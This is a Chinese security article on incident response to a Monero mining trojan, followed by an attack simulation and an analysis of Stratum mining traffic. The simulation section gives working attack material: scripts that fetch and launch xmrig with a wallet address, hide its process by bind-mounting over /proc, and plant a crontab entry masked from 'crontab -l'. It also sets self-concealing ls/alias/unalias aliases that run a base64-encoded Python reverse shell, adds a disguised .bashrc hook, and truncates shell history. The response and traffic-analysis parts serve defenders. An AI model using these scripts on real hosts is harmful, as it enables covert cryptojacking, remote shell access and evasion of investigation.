前言
记录一次挖矿病毒木马的学习,包含一下知识:
-
SSH 暴力破解
-
挖矿木马 (含流量分析)
-
Crontab 后门
-
Alias 后门
应急响应
背景
一天,客户反馈服务器莫名其妙突然卡顿、风扇狂转,但是查看 cpu 占用率却都不高,请你上机排查!
查看 cpu 占用率
top -c
但是发现 cpu 占用率都不高
查看网络连接
netstat -anpt
发现可以连接,IP:43.129.150.140
对该 ip 进行威胁情报关联分析,发现该 ip 被微步标记为矿池
但是看不到进程信息,怀疑使用了目录挂载
解除目录挂载
查看所有目录挂载
cat /proc/$$/mountinfo
发现可疑挂载,使用以下命令解除挂载
umount /proc/59919
再次查看 cpu
查看网络连接
查看进程信息
发现隐藏目录,包含恶意程序
计划任务
干掉恶意进程,并删除文件
查看 cpu 占用率正常
但是没过一会,服务器又开始卡顿、风扇狂转
猜测存在计划任务,但是 crontab -l
命令没查到
想到可能是隐藏了,解决:
cat -A /var/spool/cron/crontabs/root
查看恶意脚本
删除即可
隐藏后门
发现莫名其妙会出现一些外链的请求
查看历史命令业务异常
history
使用查看 alias
命令查看也无异常
再一次连接之后排查
发现执行了一个恶意的 python 脚本
搜索后发现在 release-upgrade
文件,修改了 ls 命令
发现 .bashrc
文件
找一个初始的文件对比发现多了 5 行
删除、删除 release-upgrade
文件、重启
XMR挖矿攻击模拟
模拟攻击流程
SSH 爆破
上挖矿马
下载
wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz
解压
tar -zxvf xmrig.tar.gz
解压后我们得到俩个文件,一个是 xmrig 主程序,一个是 config. Json 配置文件。
配置
输入:vim config.json
打开 config. Json 文件,将 YOUR_WALLET_ADDRESS 修改成你的钱包地址
"user": "YOUR_WALLET_ADDRESS",
"pass": "x",
运行
./xmrig
#后台启动
nohup ./xmrig &
进程隐藏
目录挂载
未隐藏之前
目录挂载
mkdir /tmp/.k/null
mount --bind /tmp/.k/null /proc
计划任务
添加计划任务使其可以开机自启,删除后恢复1.sh
#!/bin/bash
if [ ! -f "/tmp/.k/xmrig" ]; then
mkdir /tmp/.k
cd /tmp/.k
wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz
tar -zxvf xmrig.tar.gz
sed -i 's/YOUR_WALLET_ADDRESS/45cuh6v7YDkdL9gTEkfffQ1rfoA6NitH9huwWUVjZnqCGXB9TrPGPK2D3UgLwMXtf1SCkNwuDNFZZWzCkgnesarBK9MDkJh/' /tmp/.k/config.json
mkdir /tmp/.k/null
nohup /tmp/.k/xmrig &
fi
sleep 3
if pgrep -x "xmrig"
then
pid=$(pgrep -x xmrig)
mount --bind /tmp/.k/null /proc/$pid
fi
2.sh
(crontab -l;printf "* * * * * /tmp/.s/1.sh;rno crontw_wab for `whoami` %100 cn")|crontab -
#上传脚本运行
mkdir /tmp/.s
cd /tmp/.s
chmod 777 1.sh
chmod 777 2.sh
./2.sh
效果:crontab -l
,必须 cat -A
或者 vim
、vi
才能看到
持久化后门
/etc/update-manager/
目录下
新建迷惑性文件 release-upgrade
touch release-upgrade
放入恶意命令
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xOTkuMSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp''')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'
追加进 ~/.bashrc
文件
#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f /etc/update-manager/release-upgrade ]; then
. /etc/update-manager/release-upgrade
fi
清理痕迹
nl .bash_history
sed -i '10,$d' .bash_history
XMR挖矿流量分析
Stratum 协议
矿池一般采用 Stratum 协议与挖矿主机进行交互通信,Stratum 协议是基于 JSON-RPC 2.0 封装的 TCP 通讯协议,在挖矿主机和矿池的交互过程中支持挖矿主机登记、任务下发、账号登录、结果提交和挖矿任务难度调整这五种行为。
XMR 挖矿流量分析
由于比特币主机挖矿效益与投入比的不断降低,使得攻击者转向更具挖矿效率优势的门罗币。门罗币可以使用 CPU 或 GPU 进行挖矿,具有隐蔽性强,灵活性高等特点,是挖矿木马的首选,平常实际遇见的挖矿木马挖取的加密货币也几乎都是门罗币。
其采用 jsonrpc 数据样例的格式进行通信
安装 tcpdump
apt-get install tcpdump
捕获数据包
捕获前 10000 个经过 ens 33 接口的数据包:
tcpdump -i ens33 -c 10000 -nn -w xmr_capture.pcap
过滤分析
XMR 采用 Cryptonight 算法作为其工作量证明的哈希函数。当使用 XMRig 进行挖矿时,他所采用的 CryptoNight 算法可能会产生较多的网络流量,因为它需要频繁地与矿池通信以获取新的挖矿任务。各种挖矿程序在使用 Stratum 协议的数据格式都会稍有不同,包括 XMRig。但是它们都遵循 JSON-RPC 2.0 的规范。
矿机任务提交
这个就是 XMRig 挖矿客户端向矿池服务器提交挖矿工作的请求
{
"id": 121,
"jsonrpc": "2.0",
"method": "submit",
"params": {
"id": "50465107",
"job_id": "51650811",
"nonce": "cc210000",
"result": "374de8..."
}
}
矿池的成功响应
机矿成功提交挖矿工作后由矿池返回
{
"jsonrpc": "2.0",
"id": 110,
"error": null,
"result": {
"status": "OK"
}
}
矿池下发新任务
{
"method": "job",
"params": {
"blob": "1010a5...",
"algo": "rx/0",
"height": 3190425,
"seed_hash": "78f693...",
"job_id": "51724435",
"target": "7d770100",
"id": "50465107"
},
"jsonrpc": "2.0"
}
总结
总的来说特征还是很明显的,基于 json 的流量,主要特征字段有 id,jsonrpc,method,params,job_id,nonce,result 等
参考
https://wxiaoge.blog.csdn.net/article/details/117472195
https://blog.csdn.net/laozhang338/article/details/131812201
https://www.cnblogs.com/smileleooo/p/18172605#%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90
文章来源:奇安信攻防社区
链接:https://forum.butian.net/share/3618
作者:Yu9
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):挖矿木马+隐藏后门应急分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论